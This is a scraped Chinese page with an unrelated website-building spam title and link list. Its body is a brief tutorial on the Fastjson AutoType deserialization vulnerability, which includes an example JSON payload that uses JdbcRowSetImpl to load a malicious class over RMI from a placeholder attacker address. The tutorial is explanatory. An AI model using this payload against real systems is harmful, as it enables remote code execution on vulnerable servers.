当前位置: 首页 > news >正文

京网站建设首选白龙马扬州百姓网免费发布信息网

京网站建设首选白龙马,扬州百姓网免费发布信息网,工业设计培训,四川建设安全监督管理局网站fastjson漏洞 fastjson工作原理攻击原理补充 例子 fastjson工作原理 fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用type标记字符的原始类型&#x…

fastjson漏洞

  • fastjson工作原理
  • 攻击原理
    • 补充
  • 例子

fastjson工作原理

fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用==@type==标记字符的原始类型,在反序列话时会读取@type以此把内容反序列化到对象,在上述过程中会调用到库中的setter和getter方法

攻击原理

攻击者传入一个恶意构造的json内容,程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数,进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击

补充

仅影响Fastjson1.2.24及之前版本

例子


{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://攻击者的IP地址/恶意类","autoCommit": true}
  • JSON 数据包:这里展示的 JSON 数据包包含一个名为 b 的对象,其中有一个 @type 字段,指定了这个对象的类型为
    com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。
  • 恶意数据:在 dataSourceName 字段中,提供了一个远程方法调用 (RMI) 的 URL,指向攻击者的 IP
    地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。
  • 自动提交:autoCommit 字段被设置为 true,表明在反序列化后自动执行某些操作。
http://www.yayakq.cn/news/454678/

相关文章:

  • asp网站建设运用的技术千锋教育
  • 重庆制作网站公司做网站卖什么产品利润高
  • 东莞我的网站建设安福相册网站怎么做的
  • 做网站的流程前端做什么如何腾讯云二级域名做网站
  • 公司网站实名制杭州官网
  • 高端网站开发怎么选郑州网络营销与网站推广
  • 上海网站建设 微信开发公司哪家好查询域名后缀网站
  • 网站改版 百度影响做网站要钱吗
  • 北京个人网站公司从化门户网站建设
  • 学平面设计的网站白云网站建设价格
  • 服装网站建设方案ppt深圳定制网站制作费用
  • 哪些做网站的公司wordpress 内容编辑器
  • 加拿大28网站开发网站设计制作用软件
  • 织梦dedecms蓝色培训机构模板教育学校学院整站php网站源码免费网页小游戏在线玩
  • 建网站需要什么软件wordpress tag链接优化
  • 大连网络运营郑州网站建设优化
  • 网站搭建交流群中秋贺卡手工制作图片 简单
  • 提示网站有风险网页建设哪家好
  • 北京网站开发怎么样企业网站建设英文
  • 湖北网站建设哪里有.net 网站域账号自动验证码
  • 邯郸市做网站建设济南百度代理
  • 做网站需要注册公司吗深圳最好的营销网站建设公司排名
  • 青岛网站建设培训班本地网站建设视频
  • wordpress相关的网站网站设计软件培训
  • 手机网站模板 怎样做吉安市城乡建设局网站
  • 无锡做网站多少钱建设网站学什么
  • 同安区建设局网站招投标网站设计案例公司
  • 综合网站开发设计嘉祥县建设局网站
  • 揭阳网站制作计划什么是wordpress网站
  • 商标被注册了做网站怎么在网站做外部链接